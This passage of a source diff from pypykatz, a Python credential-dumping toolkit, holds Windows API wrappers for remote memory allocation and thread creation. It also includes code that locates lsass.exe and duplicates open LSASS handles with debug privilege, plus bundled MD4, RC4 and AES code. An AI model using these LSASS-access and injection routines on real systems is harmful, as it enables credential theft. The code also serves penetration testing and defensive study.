638 _VirtualProtectEx(hProcess, lpAddress, dwSize, flNewProtect, byref(flOldProtect))
639 return flOldProtect.value
640
641 # BOOL WINAPI VirtualFreeEx(
642 # __in HANDLE hProcess,
643 # __in LPVOID lpAddress,
644 # __in SIZE_T dwSize,
645 # __in DWORD dwFreeType
646 # );
647 def VirtualFreeEx(hProcess, lpAddress, dwSize = 0, dwFreeType = MEM_RELEASE):
648 _VirtualFreeEx = windll.kernel32.VirtualFreeEx
649 _VirtualFreeEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD]
650 _VirtualFreeEx.restype = bool
651 _VirtualFreeEx.errcheck = RaiseIfZero
652 _VirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType)
653
654 # LPVOID WINAPI VirtualAllocEx(
655 # __in HANDLE hProcess,
656 # __in_opt LPVOID lpAddress,
657 # __in SIZE_T dwSize,
658 # __in DWORD flAllocationType,
659 # __in DWORD flProtect
660 # );
661 def VirtualAllocEx(hProcess, lpAddress = 0, dwSize = 0x1000, flAllocationType = MEM_COMMIT | MEM_RESERVE, flProtect = PAGE_EXECUTE_READWRITE):
662 _VirtualAllocEx = windll.kernel32.VirtualAllocEx
663 _VirtualAllocEx.argtypes = [HANDLE, LPVOID, SIZE_T, DWORD, DWORD]
664 _VirtualAllocEx.restype = LPVOID
665
666 lpAddress = _VirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect)
667 if lpAddress == NULL:
668 raise ctypes.WinError()
669 return lpAddress
670
671
672 # HANDLE WINAPI CreateRemoteThread(
673 # __in HANDLE hProcess,
674 # __in LPSECURITY_ATTRIBUTES lpThreadAttributes,
675 # __in SIZE_T dwStackSize,
676 # __in LPTHREAD_START_ROUTINE lpStartAddress,
677 # __in LPVOID lpParameter,
678 # __in DWORD dwCreationFlags,
679 # __out LPDWORD lpThreadId
680 # );
681 def CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags):
682 _CreateRemoteThread = windll.kernel32.CreateRemoteThread
683 _CreateRemoteThread.argtypes = [HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPVOID, LPVOID, DWORD, LPDWORD]
684 _CreateRemoteThread.restype = HANDLE
685
686 if not lpThreadAttributes:
687 lpThreadAttributes = None
688 else:
689 lpThreadAttributes = byref(lpThreadAttributes)
690 dwThreadId = DWORD(0)
691 hThread = _CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, byref(dwThreadId))
692 if not hThread:
693 raise ctypes.WinError()
694 return hThread, dwThreadId.value
695
696 def GetProcAddressW(hModule, lpProcName):
697 _GetProcAddress = windll.kernel32.GetProcAddress
698 _GetProcAddress.argtypes = [HMODULE, LPVOID]
699 _GetProcAddress.restype = LPVOID
700
701 if type(lpProcName) in (type(0), type(0)):
702 lpProcName = LPVOID(lpProcName)
703 if lpProcName.value & (~0xFFFF):
704 raise ValueError('Ordinal number too large: %d' % lpProcName.value)
705 elif type(lpProcName) == type(""):
706 lpProcName = ctypes.create_string_buffer(lpProcName.encode('ascii'))
707 elif type(lpProcName) == type(b""):
708 lpProcName = ctypes.c_char_p(lpProcName)
709 else:
710 raise TypeError(str(type(lpProcName)))
711 return _GetProcAddress(hModule, lpProcName)
712
713
714 def LoadLibraryW(pszLibrary):
715 _LoadLibraryW = windll.kernel32.LoadLibraryW
716 _LoadLibraryW.argtypes = [LPWSTR]
717 _LoadLibraryW.restype = HMODULE
718 hModule = _LoadLibraryW(pszLibrary)
719 if hModule == NULL:
720 raise ctypes.WinError()
721 return hModule
0 import os
1 import sys
20 import ctypes
31 import enum
4 import logging
52
63 from pypykatz import logger
74 from .ntdll import *
1714 WIN_BLUE = 9400
1815 WIN_10 = 9800
1916
20
17
2118 #utter microsoft bullshit commencing..
22 def getWindowsBuild():
19 def getWindowsBuild():
2320 class OSVersionInfo(ctypes.Structure):
2421 _fields_ = [
2522 ("dwOSVersionInfoSize" , ctypes.c_int),
3128 GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
3229 version = OSVersionInfo()
3330 version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
34 GetVersionEx( ctypes.byref(version) )
31 GetVersionEx( ctypes.byref(version) )
3532 return version.dwBuildNumber
36
33
3734 DELETE = 0x00010000
3835 READ_CONTROL = 0x00020000
3936 WRITE_DAC = 0x00040000
4845 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF
4946 else:
5047 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF
51
48
5249 PROCESS_QUERY_INFORMATION = 0x0400
5350 PROCESS_VM_READ = 0x0010
5451
55
52
5653 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
5754 def enum_process_names():
5855 pid_to_name = {}
59
56
6057 for pid in EnumProcesses():
6158 if pid == 0:
6259 continue
6360 pid_to_name[pid] = 'Not found'
6461 try:
6562 process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
63 pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
6664 except Exception as e:
6765 continue
68
69 pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
66
7067 return pid_to_name
71
72
68
69
7370 def get_lsass_pid():
7471 pid_to_name = enum_process_names()
7572 for pid in pid_to_name:
7673 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7774 return pid
78
75
7976 raise Exception('Failed to find lsass.exe')
80
77
8178 def enum_lsass_handles():
8279 #searches for open LSASS process handles in all processes
8380 # you should be having SE_DEBUG enabled at this point
8481 RtlAdjustPrivilege(20)
85
82
8683 lsass_handles = []
8784 sysinfohandles = NtQuerySystemInformation(16)
8885 for pid in sysinfohandles:
9794 except Exception as e:
9895 logger.debug('Error opening process %s Reason: %s' % (pid, e))
9996 continue
100
97
10198 try:
10299 dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
103100 #print(dupHandle)
104101 except Exception as e:
105102 logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
106103 continue
107
104
108105 oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
109106 if oinfo.Name.getString() == 'Process':
110107 try:
114111 #print('%s : %s' % (pid, pname))
115112 lsass_handles.append((pid, dupHandle))
116113 except Exception as e:
117 logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
114 logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
118115 continue
119
116
120117 return lsass_handles
121
99 from pypykatz.commons.winapi.local.localwindowsapi import LocalWindowsAPI
1010 from pypykatz.commons.winapi.constants import *
1111 from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive
12 from pypykatz.commons.winapi.local.function_defs.advapi32 import SC_MANAGER_ENUMERATE_SERVICE
1213
1314 class User:
1415 def __init__(self, name, domain, sid):
6061 name, domain, token_type = self.api.advapi32.LookupAccountSid(None, ptr_sid)
6162 users[sid_str] = User(name, domain, sid_str)
6263 return users
64
65 #def list_services(self):
66 # logger.debug('Listing services...')
67 # hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
68 # for serviceattr in self.api.advapi32.EnumServicesStatus(hsrvmgr):
69 # print(serviceattr.lpServiceName)
70 # print(serviceattr.lpDisplayName)
71 # print(serviceattr.ServiceStatus.dwServiceType)
72 #
73 #
74 # status = ''
75 # if serviceattr.ServiceStatus.dwCurrentState == SERVICE_CONTINUE_PENDING:
76 # status = 'PENDING'
77 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING:
78 # status = 'PENDINGPAUSE'
79 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_PAUSED:
80 # status = 'PAUSED'
81 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_RUNNING:
82 # status = 'RUNNING'
83 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_START_PENDING:
84 # status = 'PENDINGSTART'
85 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOP_PENDING:
86 # status = 'PENDINGSTOP'
87 # elif serviceattr.ServiceStatus.dwCurrentState == SERVICE_STOPPED:
88 # status = 'STOPPED'
89 #
90 # print(status)
91
92 def list_services_pid(self):
93 logger.debug('Listing services with pid...')
94 hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
95 for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr):
96 if serviceattr.ServiceStatusProcess.dwProcessId == 0:
97 continue
98 yield serviceattr.ServiceStatusProcess.dwProcessId
99
100 def list_services(self):
101 logger.debug('Listing services with pid...')
102 hsrvmgr = self.api.advapi32.OpenSCManager(dwDesiredAccess = SC_MANAGER_ENUMERATE_SERVICE)
103 for serviceattr in self.api.advapi32.EnumServicesStatusEx(hsrvmgr):
104 if serviceattr.ServiceStatusProcess.dwProcessId == 0:
105 continue
106 yield serviceattr.lpServiceName, serviceattr.lpDisplayName, serviceattr.ServiceStatusProcess.dwProcessId
107
108 def list_all_pids(self):
109 for pid in self.api.psapi.EnumProcesses():
110 if pid == 0:
111 continue
112 yield pid
63113
64114 if __name__ == '__main__':
65115 u = LiveMachine()
66 t = u.list_users()
67 for sid in t:
68 print(str(t[sid]))
69 t = u.get_current_user()
70 print(str(t))
116 t = u.list_services()
117
118 #for srv in t:
119 # print(str(t[sid]))
120 #t = u.get_current_user()
121 #print(str(t))
+0
-181
pypykatz/crypto/MD4.py less more
0 #!/usr/bin/env python3
1 # -*- coding: utf-8 -*-
2 #
3 # Copyright © 2019 James Seo <[email protected]> (github.com/kangtastic).
4 #
5 # This file is released under the WTFPL, version 2 (wtfpl.net).
6 #
7 # md4.py: An implementation of the MD4 hash algorithm in pure Python 3.
8 #
9 # Description: Zounds! Yet another rendition of pseudocode from RFC1320!
10 # Bonus points for the algorithm literally being from 1992.
11 #
12 # Usage: Why would anybody use this? This is self-rolled crypto, and
13 # self-rolled *obsolete* crypto at that. DO NOT USE if you need
14 # something "performant" or "secure". :P
15 #
16 # Anyway, from the command line:
17 #
18 # $ ./md4.py [messages]
19 #
20 # where [messages] are some strings to be hashed.
21 #
22 # In Python, use similarly to hashlib (not that it even has MD4):
23 #
24 # from .md4 import MD4
25 #
26 # digest = MD4("BEES").hexdigest()
27 #
28 # print(digest) # "501af1ef4b68495b5b7e37b15b4cda68"
29 #
30 #
31 # Sample console output:
32 #
33 # Testing the MD4 class.
34 #
35 # Message: b''
36 # Expected: 31d6cfe0d16ae931b73c59d7e0c089c0
37 # Actual: 31d6cfe0d16ae931b73c59d7e0c089c0
38 #
39 # Message: b'The quick brown fox jumps over the lazy dog'
40 # Expected: 1bee69a46ba811185c194762abaeae90
41 # Actual: 1bee69a46ba811185c194762abaeae90
42 #
43 # Message: b'BEES'
44 # Expected: 501af1ef4b68495b5b7e37b15b4cda68
45 # Actual: 501af1ef4b68495b5b7e37b15b4cda68
46 #
47 import struct
48
49
50 class MD4:
51 """An implementation of the MD4 hash algorithm."""
52
53 width = 32
54 mask = 0xFFFFFFFF
55
56 # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!
57 h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]
58
59 def __init__(self, msg=None):
60 """:param ByteString msg: The message to be hashed."""
61 if msg is None:
62 msg = b""
63
64 self.msg = msg
65
66 # Pre-processing: Total length is a multiple of 512 bits.
67 ml = len(msg) * 8
68 msg += b"\x80"
69 msg += b"\x00" * (-(len(msg) + 8) % 64)
70 msg += struct.pack("<Q", ml)
71
72 # Process the message in successive 512-bit chunks.
73 self._process([msg[i : i + 64] for i in range(0, len(msg), 64)])
74
75 def __repr__(self):
76 if self.msg:
77 return f"{self.__class__.__name__}({self.msg:s})"
78 return f"{self.__class__.__name__}()"
79
80 def __str__(self):
81 return self.hexdigest()
82
83 def __eq__(self, other):
84 return self.h == other.h
85
86 def bytes(self):
87 """:return: The final hash value as a `bytes` object."""
88 return struct.pack("<4L", *self.h)
89
90 def hexbytes(self):
91 """:return: The final hash value as hexbytes."""
92 return self.hexdigest().encode
93
94 def hexdigest(self):
95 """:return: The final hash value as a hexstring."""
96 return "".join(f"{value:02x}" for value in self.bytes())
97
98 def digest(self):
99 return self.bytes()
100
101 def _process(self, chunks):
102 for chunk in chunks:
103 X, h = list(struct.unpack("<16I", chunk)), self.h.copy()
104
105 # Round 1.
106 Xi = [3, 7, 11, 19]
107 for n in range(16):
108 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
109 K, S = n, Xi[n % 4]
110 hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]
111 h[i] = MD4.lrot(hn & MD4.mask, S)
112
113 # Round 2.
114 Xi = [3, 5, 9, 13]
115 for n in range(16):
116 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
117 K, S = n % 4 * 4 + n // 4, Xi[n % 4]
118 hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999
119 h[i] = MD4.lrot(hn & MD4.mask, S)
120
121 # Round 3.
122 Xi = [3, 9, 11, 15]
123 Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]
124 for n in range(16):
125 i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))
126 K, S = Ki[n], Xi[n % 4]
127 hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1
128 h[i] = MD4.lrot(hn & MD4.mask, S)
129
130 self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]
131
132 @staticmethod
133 def F(x, y, z):
134 return (x & y) | (~x & z)
135
136 @staticmethod
137 def G(x, y, z):
138 return (x & y) | (x & z) | (y & z)
139
140 @staticmethod
141 def H(x, y, z):
142 return x ^ y ^ z
143
144 @staticmethod
145 def lrot(value, n):
146 lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)
147 return lbits | rbits
148
149
150 def main():
151 # Import is intentionally delayed.
152 import sys
153
154 if len(sys.argv) > 1:
155 messages = [msg.encode() for msg in sys.argv[1:]]
156 for message in messages:
157 print(MD4(message).hexdigest())
158 else:
159 messages = [b"", b"The quick brown fox jumps over the lazy dog", b"BEES"]
160 known_hashes = [
161 "31d6cfe0d16ae931b73c59d7e0c089c0",
162 "1bee69a46ba811185c194762abaeae90",
163 "501af1ef4b68495b5b7e37b15b4cda68",
164 ]
165
166 print("Testing the MD4 class.")
167 print()
168
169 for message, expected in zip(messages, known_hashes):
170 print("Message: ", message)
171 print("Expected:", expected)
172 print("Actual: ", MD4(message).hexdigest())
173 print()
174
175
176 if __name__ == "__main__":
177 try:
178 main()
179 except KeyboardInterrupt:
180 pass
+0
-64
pypykatz/crypto/RC4.py less more
0 #!/usr/bin/env python
1
2
3 """
4 https://raw.githubusercontent.com/bozhu/RC4-Python/master/rc4.py
5
6 Copyright (C) 2012 Bo Zhu http://about.bozhu.me
7
8 Permission is hereby granted, free of charge, to any person obtaining a
9 copy of this software and associated documentation files (the "Software"),
10 to deal in the Software without restriction, including without limitation
11 the rights to use, copy, modify, merge, publish, distribute, sublicense,
12 and/or sell copies of the Software, and to permit persons to whom the
13 Software is furnished to do so, subject to the following conditions:
14
15 The above copyright notice and this permission notice shall be included in
16 all copies or substantial portions of the Software.
17
18 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
19 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
20 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
21 THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
22 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
23 FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
24 DEALINGS IN THE SOFTWARE.
25 """
26 class RC4:
27 def __init__(self, key):
28 self.key = key
29 self.S = self.KSA()
30 self.keystream = self.PRGA()
31
32 def KSA(self):
33 keylength = len(self.key)
34
35 S = list(range(256))
36
37 j = 0
38 for i in range(256):
39 j = (j + S[i] + self.key[i % keylength]) % 256
40 S[i], S[j] = S[j], S[i] # swap
41
42 return S
43
44 def PRGA(self):
45 i = 0
46 j = 0
47 while True:
48 i = (i + 1) % 256
49 j = (j + self.S[i]) % 256
50 self.S[i], self.S[j] = self.S[j], self.S[i] # swap
51
52 K = self.S[(self.S[i] + self.S[j]) % 256]
53 yield K
54
55
56 def encrypt(self, data):
57 res = b''
58 for b in data:
59 res += (b ^ next(self.keystream)).to_bytes(1, byteorder = 'big', signed = False)
60 return res
61
62 def decrypt(self, data):
63 return self.encrypt(data)
+0
-0
pypykatz/crypto/__init__.py less more
(Empty file)
+0
-591
pypykatz/crypto/aes/AES.py less more
0
1 #https://github.com/ricmoo/pyaes/blob/master/pyaes/aes.py
2 # The MIT License (MIT)
3 #
4 # Copyright (c) 2014 Richard Moore
5 #
6 # Permission is hereby granted, free of charge, to any person obtaining a copy
7 # of this software and associated documentation files (the "Software"), to deal
8 # in the Software without restriction, including without limitation the rights
9 # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 # copies of the Software, and to permit persons to whom the Software is
11 # furnished to do so, subject to the following conditions:
12 #
13 # The above copyright notice and this permission notice shall be included in
14 # all copies or substantial portions of the Software.
15 #
16 # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22 # THE SOFTWARE.
23
24 # This is a pure-Python implementation of the AES algorithm and AES common
25 # modes of operation.
26
27 # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
28
29 # Honestly, the best description of the modes of operations are the wonderful
30 # diagrams on Wikipedia. They explain in moments what my words could never
31 # achieve. Hence the inline documentation here is sparer than I'd prefer.
32 # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
33
34 # Also useful, PyCrypto, a crypto library implemented in C with Python bindings:
35 # https://www.dlitz.net/software/pycrypto/
36
37
38 # Supported key sizes:
39 # 128-bit
40 # 192-bit
41 # 256-bit
42
43
44 # Supported modes of operation:
45 # ECB - Electronic Codebook
46 # CBC - Cipher-Block Chaining
47 # CFB - Cipher Feedback
48 # OFB - Output Feedback
49 # CTR - Counter
50
51
52 # See the README.md for API details and general information.
53
54
55 import copy
56 import struct
57
58 __all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB",
59 "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"]
60
61
62 def _compact_word(word):
63 return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
64
65 def _string_to_bytes(text):
66 return list(ord(c) for c in text)
67
68 def _bytes_to_string(binary):
69 return "".join(chr(b) for b in binary)
70
71 def _concat_list(a, b):
72 return a + b
73
74
75 # Python 3 compatibility
76 try:
77 xrange
78 except Exception:
79 xrange = range
80
81 # Python 3 supports bytes, which is already an array of integers
82 def _string_to_bytes(text):
83 if isinstance(text, bytes):
84 return text
85 return [ord(c) for c in text]
86
87 # In Python 3, we return bytes
88 def _bytes_to_string(binary):
89 return bytes(binary)
90
91 # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first
92 def _concat_list(a, b):
93 return a + bytes(b)
94
95
96 # Based *largely* on the Rijndael implementation
97 # See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
98 class AES(object):
99 '''Encapsulates the AES block cipher.
100
101 You generally should not need this. Use the AESModeOfOperation classes
102 below instead.'''
103
104 # Number of rounds by keysize
105 number_of_rounds = {16: 10, 24: 12, 32: 14}
106
107 # Round constant words
108 rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
109
110 # S-box and Inverse S-box (S is for Substitution)
111 S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
112 Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
113
114 # Transformations for encryption
115 T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 